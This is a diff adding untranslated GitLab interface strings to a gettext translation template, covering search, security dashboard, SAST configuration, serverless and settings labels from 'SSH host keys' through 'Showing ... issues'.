+msgid "SSH host key fingerprints"
+msgstr ""
+
+msgid "SSH host keys"
+msgstr ""
+
+msgid "SSH host keys are not available on this system. Please use %{ssh_keyscan} command or contact your GitLab administrator for more information."
+msgstr ""
+
+msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
+msgstr ""
+
+msgid "SSH public key"
+msgstr ""
+
+msgid "SSL Verification:"
+msgstr ""
+
+msgid "Saturday"
+msgstr ""
+
+msgid "Save"
+msgstr ""
+
+msgid "Save Changes"
+msgstr ""
+
+msgid "Save Push Rules"
+msgstr ""
+
+msgid "Save anyway"
+msgstr ""
+
+msgid "Save application"
+msgstr ""
+
+msgid "Save changes"
+msgstr ""
+
+msgid "Save changes before testing"
+msgstr ""
+
+msgid "Save comment"
+msgstr ""
+
+msgid "Save password"
+msgstr ""
+
+msgid "Save pipeline schedule"
+msgstr ""
+
+msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgstr ""
+
+msgid "Save template"
+msgstr ""
+
+msgid "Save variables"
+msgstr ""
+
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
+msgid "Saving"
+msgstr ""
+
+msgid "Saving project."
+msgstr ""
+
+msgid "Schedule a new pipeline"
+msgstr ""
+
+msgid "Scheduled"
+msgstr ""
+
+msgid "Scheduled Deletion At - %{permanent_deletion_time}"
+msgstr ""
+
+msgid "Scheduled to merge this merge request (%{strategy})."
+msgstr ""
+
+msgid "Scheduled to merge this merge request when the pipeline succeeds."
+msgstr ""
+
+msgid "Schedules"
+msgstr ""
+
+msgid "Schedules to merge this merge request (%{strategy})."
+msgstr ""
+
+msgid "Scheduling"
+msgstr ""
+
+msgid "Scheduling Pipelines"
+msgstr ""
+
+msgid "Scope"
+msgstr ""
+
+msgid "Scope not supported with disabled 'users_search' feature!"
+msgstr ""
+
+msgid "Scoped issue boards"
+msgstr ""
+
+msgid "Scopes"
+msgstr ""
+
+msgid "Scopes can't be blank"
+msgstr ""
+
+msgid "Score"
+msgstr ""
+
+msgid "Scroll down"
+msgstr ""
+
+msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
+msgstr ""
+
+msgid "Scroll left"
+msgstr ""
+
+msgid "Scroll right"
+msgstr ""
+
+msgid "Scroll to bottom"
+msgstr ""
+
+msgid "Scroll to top"
+msgstr ""
+
+msgid "Scroll up"
+msgstr ""
+
+msgid "Search"
+msgstr ""
+
+msgid "Search Jira issues"
+msgstr ""
+
+msgid "Search Milestones"
+msgstr ""
+
+msgid "Search an environment spec"
+msgstr ""
+
+msgid "Search authors"
+msgstr ""
+
+msgid "Search branches"
+msgstr ""
+
+msgid "Search branches and tags"
+msgstr ""
+
+msgid "Search branches, tags, and commits"
+msgstr ""
+
+msgid "Search by Git revision"
+msgstr ""
+
+msgid "Search by author"
+msgstr ""
+
+msgid "Search by commit title or SHA"
+msgstr ""
+
+msgid "Search by message"
+msgstr ""
+
+msgid "Search by name"
+msgstr ""
+
+msgid "Search files"
+msgstr ""
+
+msgid "Search for Namespace"
+msgstr ""
+
+msgid "Search for a LDAP group"
+msgstr ""
+
+msgid "Search for a group"
+msgstr ""
+
+msgid "Search for a user"
+msgstr ""
+
+msgid "Search for projects, issues, etc."
+msgstr ""
+
+msgid "Search for this text"
+msgstr ""
+
+msgid "Search forks"
+msgstr ""
+
+msgid "Search groups"
+msgstr ""
+
+msgid "Search merge requests"
+msgstr ""
+
+msgid "Search milestones"
+msgstr ""
+
+msgid "Search or filter results..."
+msgstr ""
+
+msgid "Search or filter results…"
+msgstr ""
+
+msgid "Search or jump to…"
+msgstr ""
+
+msgid "Search project"
+msgstr ""
+
+msgid "Search projects"
+msgstr ""
+
+msgid "Search projects..."
+msgstr ""
+
+msgid "Search requirements"
+msgstr ""
+
+msgid "Search results…"
+msgstr ""
+
+msgid "Search users"
+msgstr ""
+
+msgid "Search users or groups"
+msgstr ""
+
+msgid "Search your project dependencies for their licenses and apply policies."
+msgstr ""
+
+msgid "Search your projects"
+msgstr ""
+
+msgid "SearchAutocomplete|All GitLab"
+msgstr ""
+
+msgid "SearchAutocomplete|Issues I've created"
+msgstr ""
+
+msgid "SearchAutocomplete|Issues assigned to me"
+msgstr ""
+
+msgid "SearchAutocomplete|Merge requests I've created"
+msgstr ""
+
+msgid "SearchAutocomplete|Merge requests assigned to me"
+msgstr ""
+
+msgid "SearchAutocomplete|in all GitLab"
+msgstr ""
+
+msgid "SearchAutocomplete|in group %{groupName}"
+msgstr ""
+
+msgid "SearchAutocomplete|in project %{projectName}"
+msgstr ""
+
+msgid "SearchCodeResults|in"
+msgstr ""
+
+msgid "SearchCodeResults|of %{link_to_project}"
+msgstr ""
+
+msgid "SearchResults|Showing %{count} %{scope} for%{term_element}"
+msgstr ""
+
+msgid "SearchResults|Showing %{count} %{scope} for%{term_element} in your personal and project snippets"
+msgstr ""
+
+msgid "SearchResults|Showing %{from} - %{to} of %{count} %{scope} for%{term_element}"
+msgstr ""
+
+msgid "SearchResults|Showing %{from} - %{to} of %{count} %{scope} for%{term_element} in your personal and project snippets"
+msgstr ""
+
+msgid "SearchResults|We couldn't find any %{scope} matching %{term}"
+msgstr ""
+
+msgid "SearchResults|code result"
+msgid_plural "SearchResults|code results"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|comment"
+msgid_plural "SearchResults|comments"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|commit"
+msgid_plural "SearchResults|commits"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|issue"
+msgid_plural "SearchResults|issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|merge request"
+msgid_plural "SearchResults|merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|milestone"
+msgid_plural "SearchResults|milestones"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|project"
+msgid_plural "SearchResults|projects"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|snippet"
+msgid_plural "SearchResults|snippets"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|user"
+msgid_plural "SearchResults|users"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|wiki result"
+msgid_plural "SearchResults|wiki results"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Searching by both author and message is currently not supported."
+msgstr ""
+
+msgid "Seat Link"
+msgstr ""
+
+msgid "Seat Link is disabled, and cannot be configured through this form."
+msgstr ""
+
+msgid "Seats currently in use"
+msgstr ""
+
+msgid "Seats in license"
+msgstr ""
+
+msgid "Secondary"
+msgstr ""
+
+msgid "Seconds"
+msgstr ""
+
+msgid "Secret"
+msgstr ""
+
+msgid "Secret Detection"
+msgstr ""
+
+msgid "Security"
+msgstr ""
+
+msgid "Security & Compliance"
+msgstr ""
+
+msgid "Security Configuration"
+msgstr ""
+
+msgid "Security Dashboard"
+msgstr ""
+
+msgid "Security dashboard"
+msgstr ""
+
+msgid "Security report is out of date. Please update your branch with the latest changes from the target branch (%{targetBranchName})"
+msgstr ""
+
+msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
+msgstr ""
+
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityConfiguration|An error occurred while creating the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
+msgid "SecurityConfiguration|Configure"
+msgstr ""
+
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
+msgstr ""
+
+msgid "SecurityConfiguration|Enable via Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Enabled"
+msgstr ""
+
+msgid "SecurityConfiguration|Enabled with Auto DevOps"
+msgstr ""
+
+msgid "SecurityConfiguration|Feature documentation for %{featureName}"
+msgstr ""
+
+msgid "SecurityConfiguration|Manage"
+msgstr ""
+
+msgid "SecurityConfiguration|Not enabled"
+msgstr ""
+
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
+msgid "SecurityConfiguration|Security Control"
+msgstr ""
+
+msgid "SecurityConfiguration|See documentation"
+msgstr ""
+
+msgid "SecurityConfiguration|Status"
+msgstr ""
+
+msgid "SecurityConfiguration|Testing & Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
+msgstr ""
+
+msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgstr ""
+
+msgid "SecurityReports|Add a project to your dashboard"
+msgstr ""
+
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
+msgstr ""
+
+msgid "SecurityReports|Add projects"
+msgstr ""
+
+msgid "SecurityReports|Add projects to your group"
+msgstr ""
+
+msgid "SecurityReports|Comment added to '%{vulnerabilityName}'"
+msgstr ""
+
+msgid "SecurityReports|Comment deleted on '%{vulnerabilityName}'"
+msgstr ""
+
+msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
+msgstr ""
+
+msgid "SecurityReports|Create issue"
+msgstr ""
+
+msgid "SecurityReports|Dismiss Selected"
+msgstr ""
+
+msgid "SecurityReports|Dismiss vulnerability"
+msgstr ""
+
+msgid "SecurityReports|Dismissed '%{vulnerabilityName}'"
+msgstr ""
+
+msgid "SecurityReports|Dismissed '%{vulnerabilityName}'. Turn off the hide dismissed toggle to view."
+msgstr ""
+
+msgid "SecurityReports|Download Report"
+msgstr ""
+
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgstr ""
+
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
+msgstr ""
+
+msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
+msgstr ""
+
+msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
+msgstr ""
+
+msgid "SecurityReports|False positive"
+msgstr ""
+
+msgid "SecurityReports|Fuzzing artifacts"
+msgstr ""
+
+msgid "SecurityReports|Hide dismissed"
+msgstr ""
+
+msgid "SecurityReports|Issue Created"
+msgstr ""
+
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
+msgstr ""
+
+msgid "SecurityReports|Learn more about setting up your dashboard"
+msgstr ""
+
+msgid "SecurityReports|Load more vulnerabilities"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
+msgstr ""
+
+msgid "SecurityReports|More information"
+msgstr ""
+
+msgid "SecurityReports|No vulnerabilities found"
+msgstr ""
+
+msgid "SecurityReports|No vulnerabilities found for this pipeline"
+msgstr ""
+
+msgid "SecurityReports|Oops, something doesn't seem right."
+msgstr ""
+
+msgid "SecurityReports|Project"
+msgstr ""
+
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
+msgid "SecurityReports|Projects added"
+msgstr ""
+
+msgid "SecurityReports|Remove project from dashboard"
+msgstr ""
+
+msgid "SecurityReports|Scan details"
+msgstr ""
+
+msgid "SecurityReports|Scanner"
+msgstr ""
+
+msgid "SecurityReports|Security Dashboard"
+msgstr ""
+
+msgid "SecurityReports|Security reports can only be accessed by authorized users."
+msgstr ""
+
+msgid "SecurityReports|Select a project to add by using the project search field above."
+msgstr ""
+
+msgid "SecurityReports|Select a reason"
+msgstr ""
+
+msgid "SecurityReports|Severity"
+msgstr ""
+
+msgid "SecurityReports|Sorry, your filter produced no results"
+msgstr ""
+
+msgid "SecurityReports|Status"
+msgstr ""
+
+msgid "SecurityReports|The rating \"unknown\" indicates that the underlying scanner doesn’t contain or provide a severity rating."
+msgstr ""
+
+msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
+msgstr ""
+
+msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
+msgstr ""
+
+msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
+msgstr ""
+
+msgid "SecurityReports|There was an error adding the comment."
+msgstr ""
+
+msgid "SecurityReports|There was an error creating the issue."
+msgstr ""
+
+msgid "SecurityReports|There was an error creating the merge request."
+msgstr ""
+
+msgid "SecurityReports|There was an error deleting the comment."
+msgstr ""
+
+msgid "SecurityReports|There was an error dismissing the vulnerabilities."
+msgstr ""
+
+msgid "SecurityReports|There was an error dismissing the vulnerability."
+msgstr ""
+
+msgid "SecurityReports|There was an error reverting the dismissal."
+msgstr ""
+
+msgid "SecurityReports|There was an error reverting this dismissal."
+msgstr ""
+
+msgid "SecurityReports|There was an error while generating the report."
+msgstr ""
+
+msgid "SecurityReports|To widen your search, change or remove filters above"
+msgstr ""
+
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
+msgstr ""
+
+msgid "SecurityReports|Unable to add %{invalidProjects}"
+msgstr ""
+
+msgid "SecurityReports|Undo dismiss"
+msgstr ""
+
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
+msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
+msgstr ""
+
+msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
+msgstr ""
+
+msgid "SecurityReports|Won't fix / Accept risk"
+msgstr ""
+
+msgid "SecurityReports|You do not have sufficient permissions to access this report"
+msgstr ""
+
+msgid "SecurityReports|You must sign in as an authorized user to see this report"
+msgstr ""
+
+msgid "SecurityReports|[No reason]"
+msgstr ""
+
+msgid "See GitLab's %{password_policy_guidelines}"
+msgstr ""
+
+msgid "See metrics"
+msgstr ""
+
+msgid "See the affected projects in the GitLab admin panel"
+msgstr ""
+
+msgid "See what's new at GitLab"
+msgstr ""
+
+msgid "Select"
+msgstr ""
+
+msgid "Select Archive Format"
+msgstr ""
+
+msgid "Select Git revision"
+msgstr ""
+
+msgid "Select GitLab project to link with your Slack team"
+msgstr ""
+
+msgid "Select Page"
+msgstr ""
+
+msgid "Select Stack"
+msgstr ""
+
+msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
+msgstr ""
+
+msgid "Select a group to invite"
+msgstr ""
+
+msgid "Select a label"
+msgstr ""
+
+msgid "Select a namespace to fork the project"
+msgstr ""
+
+msgid "Select a new namespace"
+msgstr ""
+
+msgid "Select a project"
+msgstr ""
+
+msgid "Select a project to read Insights configuration file"
+msgstr ""
+
+msgid "Select a reason"
+msgstr ""
+
+msgid "Select a repository"
+msgstr ""
+
+msgid "Select a template repository"
+msgstr ""
+
+msgid "Select a template type"
+msgstr ""
+
+msgid "Select a timezone"
+msgstr ""
+
+msgid "Select all"
+msgstr ""
+
+msgid "Select an existing Kubernetes cluster or create a new one"
+msgstr ""
+
+msgid "Select assignee"
+msgstr ""
+
+msgid "Select branch"
+msgstr ""
+
+msgid "Select branch/tag"
+msgstr ""
+
+msgid "Select due date"
+msgstr ""
+
+msgid "Select epic"
+msgstr ""
+
+msgid "Select file"
+msgstr ""
+
+msgid "Select group or project"
+msgstr ""
+
+msgid "Select groups to replicate"
+msgstr ""
+
+msgid "Select health status"
+msgstr ""
+
+msgid "Select label"
+msgstr ""
+
+msgid "Select labels"
+msgstr ""
+
+msgid "Select merge moment"
+msgstr ""
+
+msgid "Select milestone"
+msgstr ""
+
+msgid "Select private project"
+msgstr ""
+
+msgid "Select project"
+msgstr ""
+
+msgid "Select project and zone to choose machine type"
+msgstr ""
+
+msgid "Select project to choose zone"
+msgstr ""
+
+msgid "Select projects"
+msgstr ""
+
+msgid "Select projects you want to import."
+msgstr ""
+
+msgid "Select required regulatory standard"
+msgstr ""
+
+msgid "Select shards to replicate"
+msgstr ""
+
+msgid "Select source"
+msgstr ""
+
+msgid "Select source branch"
+msgstr ""
+
+msgid "Select start date"
+msgstr ""
+
+msgid "Select status"
+msgstr ""
+
+msgid "Select strategy activation method"
+msgstr ""
+
+msgid "Select subscription"
+msgstr ""
+
+msgid "Select target branch"
+msgstr ""
+
+msgid "Select the branch you want to set as the default for this project. All merge requests and commits will automatically be made against this branch unless you specify a different one."
+msgstr ""
+
+msgid "Select the custom project template source group."
+msgstr ""
+
+msgid "Select timeframe"
+msgstr ""
+
+msgid "Select timezone"
+msgstr ""
+
+msgid "Select type"
+msgstr ""
+
+msgid "Select user"
+msgstr ""
+
+msgid "Selected commits"
+msgstr ""
+
+msgid "Selected levels cannot be used by non-admin users for groups, projects or snippets. If the public level is restricted, user profiles are only visible to logged in users."
+msgstr ""
+
+msgid "Selecting a GitLab user will add a link to the GitLab user in the descriptions of issues and comments (e.g. \"By %{link_open}@johnsmith%{link_close}\"). It will also associate and/or assign these issues and comments with the selected user."
+msgstr ""
+
+msgid "Selective synchronization"
+msgstr ""
+
+msgid "Self monitoring project does not exist"
+msgstr ""
+
+msgid "Self-monitoring project does not exist. Please check logs for any error messages"
+msgstr ""
+
+msgid "Self-monitoring project has been successfully deleted"
+msgstr ""
+
+msgid "Self-monitoring project was not deleted. Please check logs for any error messages"
+msgstr ""
+
+msgid "SelfMonitoring|Disable self monitoring?"
+msgstr ""
+
+msgid "SelfMonitoring|Disabling this feature will delete the self monitoring project. Are you sure you want to delete the project?"
+msgstr ""
+
+msgid "SelfMonitoring|Enable or disable instance self monitoring"
+msgstr ""
+
+msgid "SelfMonitoring|Enabling this feature creates a %{projectLinkStart}project%{projectLinkEnd} that can be used to monitor the health of your instance."
+msgstr ""
+
+msgid "SelfMonitoring|Enabling this feature creates a project that can be used to monitor the health of your instance."
+msgstr ""
+
+msgid "SelfMonitoring|Self monitoring"
+msgstr ""
+
+msgid "SelfMonitoring|Self monitoring project has been successfully created."
+msgstr ""
+
+msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
+msgstr ""
+
+msgid "Send a separate email notification to Developers."
+msgstr ""
+
+msgid "Send confirmation email"
+msgstr ""
+
+msgid "Send email"
+msgstr ""
+
+msgid "Send email notification"
+msgstr ""
+
+msgid "Send message"
+msgstr ""
+
+msgid "Send report"
+msgstr ""
+
+msgid "Send usage data"
+msgstr ""
+
+msgid "Sentry API URL"
+msgstr ""
+
+msgid "Sentry event"
+msgstr ""
+
+msgid "Sep"
+msgstr ""
+
+msgid "Separate topics with commas."
+msgstr ""
+
+msgid "September"
+msgstr ""
+
+msgid "SeriesFinalConjunction|and"
+msgstr ""
+
+msgid "Serve repository static objects (e.g. archives, blobs, ...) from an external storage (e.g. a CDN)."
+msgstr ""
+
+msgid "Server supports batch API only, please update your Git LFS client to version 1.0.1 and up."
+msgstr ""
+
+msgid "Server version"
+msgstr ""
+
+msgid "Serverless"
+msgstr ""
+
+msgid "Serverless domain"
+msgstr ""
+
+msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgstr ""
+
+msgid "ServerlessDetails|Install Prometheus"
+msgstr ""
+
+msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
+msgstr ""
+
+msgid "ServerlessDetails|Invocations"
+msgstr ""
+
+msgid "ServerlessDetails|Kubernetes Pods"
+msgstr ""
+
+msgid "ServerlessDetails|More information"
+msgstr ""
+
+msgid "ServerlessDetails|No pods loaded at this time."
+msgstr ""
+
+msgid "ServerlessDetails|Number of Kubernetes pods in use over time based on necessity."
+msgstr ""
+
+msgid "ServerlessDetails|pod in use"
+msgstr ""
+
+msgid "ServerlessDetails|pods in use"
+msgstr ""
+
+msgid "ServerlessURL|Copy URL"
+msgstr ""
+
+msgid "Serverless|Getting started with serverless"
+msgstr ""
+
+msgid "Serverless|Help shape the future of Serverless at GitLab"
+msgstr ""
+
+msgid "Serverless|If you believe none of these apply, please check back later as the function data may be in the process of becoming available."
+msgstr ""
+
+msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "Serverless|Install Knative"
+msgstr ""
+
+msgid "Serverless|Learn more about Serverless"
+msgstr ""
+
+msgid "Serverless|No functions available"
+msgstr ""
+
+msgid "Serverless|Sign up for First Look"
+msgstr ""
+
+msgid "Serverless|The deploy job has not finished."
+msgstr ""
+
+msgid "Serverless|The functions listed in the %{startTag}serverless.yml%{endTag} file don't match the namespace of your cluster."
+msgstr ""
+
+msgid "Serverless|There is currently no function data available from Knative. This could be for a variety of reasons including:"
+msgstr ""
+
+msgid "Serverless|We are continually striving to improve our Serverless functionality. As a Knative user, we would love to hear how we can make this experience better for you. Sign up for GitLab First Look today and we will be in touch shortly."
+msgstr ""
+
+msgid "Serverless|Your %{startTag}.gitlab-ci.yml%{endTag} file is not properly configured."
+msgstr ""
+
+msgid "Serverless|Your repository does not have a corresponding %{startTag}serverless.yml%{endTag} file."
+msgstr ""
+
+msgid "Service"
+msgstr ""
+
+msgid "Service Desk"
+msgstr ""
+
+msgid "Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
+msgid "Service Templates"
+msgstr ""
+
+msgid "Service URL"
+msgstr ""
+
+msgid "Session duration (minutes)"
+msgstr ""
+
+msgid "Set %{epic_ref} as the parent epic."
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
+msgid "Set a default template for issue descriptions."
+msgstr ""
+
+msgid "Set a number of approvals required, the approvers and other approval settings."
+msgstr ""
+
+msgid "Set a password on your account to pull or push via %{protocol}."
+msgstr ""
+
+msgid "Set a template repository for projects in this group"
+msgstr ""
+
+msgid "Set an instance-wide domain that will be available to all clusters when installing Knative."
+msgstr ""
+
+msgid "Set default and restrict visibility levels. Configure import sources and git access protocol."
+msgstr ""
+
+msgid "Set due date"
+msgstr ""
+
+msgid "Set instance-wide template repository"
+msgstr ""
+
+msgid "Set iteration"
+msgstr ""
+
+msgid "Set max session time for web terminal."
+msgstr ""
+
+msgid "Set milestone"
+msgstr ""
+
+msgid "Set new password"
+msgstr ""
+
+msgid "Set notification email for abuse reports."
+msgstr ""
+
+msgid "Set parent epic to an epic"
+msgstr ""
+
+msgid "Set projects and maximum size limits, session duration, user options, and check feature availability for namespace plan."
+msgstr ""
+
+msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
+msgstr ""
+
+msgid "Set target branch"
+msgstr ""
+
+msgid "Set target branch to %{branch_name}."
+msgstr ""
+
+msgid "Set the default expiration time for each job's artifacts. 0 for unlimited. The default unit is in seconds, but you can define an alternative. For example: %{code_open}4 mins 2 sec%{code_close}, %{code_open}2h42min%{code_close}."
+msgstr ""
+
+msgid "Set the default name of the initial branch when creating new repositories through the user interface."
+msgstr ""
+
+msgid "Set the due date to %{due_date}."
+msgstr ""
+
+msgid "Set the duration for which the jobs will be considered as old and expired. Once that time passes, the jobs will be archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: %{code_open}15 days%{code_close}, %{code_open}1 month%{code_close}, %{code_open}2 years%{code_close}."
+msgstr ""
+
+msgid "Set the iteration to %{iteration_reference}."
+msgstr ""
+
+msgid "Set the maximum file size for each job's artifacts"
+msgstr ""
+
+msgid "Set the maximum number of pipeline minutes that a group can use on shared Runners per month. 0 for unlimited."
+msgstr ""
+
+msgid "Set the milestone to %{milestone_reference}."
+msgstr ""
+
+msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
+msgstr ""
+
+msgid "Set the synchronization and verification capacity for the secondary node."
+msgstr ""
+
+msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
+msgstr ""
+
+msgid "Set time estimate"
+msgstr ""
+
+msgid "Set time estimate to %{time_estimate}."
+msgstr ""
+
+msgid "Set up CI/CD"
+msgstr ""
+
+msgid "Set up Jira Integration"
+msgstr ""
+
+msgid "Set up a %{type} Runner automatically"
+msgstr ""
+
+msgid "Set up a %{type} Runner manually"
+msgstr ""
+
+msgid "Set up assertions/attributes/claims (email, first_name, last_name) and NameID according to %{docsLinkStart}the documentation %{icon}%{docsLinkEnd}"
+msgstr ""
+
+msgid "Set up new U2F device"
+msgstr ""
+
+msgid "Set up new password"
+msgstr ""
+
+msgid "Set up pipeline subscriptions for this project."
+msgstr ""
+
+msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
+msgstr ""
+
+msgid "Set weight"
+msgstr ""
+
+msgid "Set weight to %{weight}."
+msgstr ""
+
+msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgstr ""
+
+msgid "SetPasswordToCloneLink|set a password"
+msgstr ""
+
+msgid "SetStatusModal|Add status emoji"
+msgstr ""
+
+msgid "SetStatusModal|Clear status"
+msgstr ""
+
+msgid "SetStatusModal|Edit status"
+msgstr ""
+
+msgid "SetStatusModal|Remove status"
+msgstr ""
+
+msgid "SetStatusModal|Set a status"
+msgstr ""
+
+msgid "SetStatusModal|Set status"
+msgstr ""
+
+msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
+msgstr ""
+
+msgid "SetStatusModal|What's your status?"
+msgstr ""
+
+msgid "Sets %{epic_ref} as parent epic."
+msgstr ""
+
+msgid "Sets target branch to %{branch_name}."
+msgstr ""
+
+msgid "Sets the due date to %{due_date}."
+msgstr ""
+
+msgid "Sets the iteration to %{iteration_reference}."
+msgstr ""
+
+msgid "Sets the milestone to %{milestone_reference}."
+msgstr ""
+
+msgid "Sets time estimate to %{time_estimate}."
+msgstr ""
+
+msgid "Sets weight to %{weight}."
+msgstr ""
+
+msgid "Settings"
+msgstr ""
+
+msgid "Settings related to the use and experience of using GitLab's Package Registry."
+msgstr ""
+
+msgid "Settings to prevent self-approval across all projects in the instance. Only an administrator can modify these settings."
+msgstr ""
+
+msgid "Setup"
+msgstr ""
+
+msgid "Severity"
+msgstr ""
+
+msgid "Shards (%{shards})"
+msgstr ""
+
+msgid "Shards to synchronize"
+msgstr ""
+
+msgid "Share"
+msgstr ""
+
+msgid "Share the %{strong_open}GitLab single sign-on URL%{strong_close} with members so they can sign in to your group through your identity provider"
+msgstr ""
+
+msgid "Shared Runners"
+msgstr ""
+
+msgid "Shared projects"
+msgstr ""
+
+msgid "Shared runners help link"
+msgstr ""
+
+msgid "SharedRunnersMinutesSettings|By resetting the pipeline minutes for this namespace, the currently used minutes will be set to zero."
+msgstr ""
+
+msgid "SharedRunnersMinutesSettings|Reset pipeline minutes"
+msgstr ""
+
+msgid "SharedRunnersMinutesSettings|Reset used pipeline minutes"
+msgstr ""
+
+msgid "Sherlock Transactions"
+msgstr ""
+
+msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
+msgstr ""
+
+msgid "Show all activity"
+msgstr ""
+
+msgid "Show all members"
+msgstr ""
+
+msgid "Show all requirements."
+msgstr ""
+
+msgid "Show archived projects"
+msgstr ""
+
+msgid "Show archived projects only"
+msgstr ""
+
+msgid "Show command"
+msgstr ""
+
+msgid "Show comments"
+msgstr ""
+
+msgid "Show comments only"
+msgstr ""
+
+msgid "Show commit description"
+msgstr ""
+
+msgid "Show complete raw log"
+msgstr ""
+
+msgid "Show details"
+msgstr ""
+
+msgid "Show file browser"
+msgstr ""
+
+msgid "Show file contents"
+msgstr ""
+
+msgid "Show latest version"
+msgstr ""
+
+msgid "Show list"
+msgstr ""
+
+msgid "Show me everything"
+msgstr ""
+
+msgid "Show me how to add a pipeline"
+msgstr ""
+
+msgid "Show me more advanced stuff"
+msgstr ""
+
+msgid "Show only direct members"
+msgstr ""
+
+msgid "Show only inherited members"
+msgstr ""
+
+msgid "Show parent pages"
+msgstr ""
+
+msgid "Show parent subgroups"
+msgstr ""
+
+msgid "Show whitespace changes"
+msgstr ""
+
+msgid "Showing %d event"
+msgid_plural "Showing %d events"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Showing %{count} of %{total} projects"
+msgstr ""
+
+msgid "Showing %{count} project"
+msgid_plural "Showing %{count} projects"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Showing %{limit} of %{total_count} issues. "
+msgstr ""
+
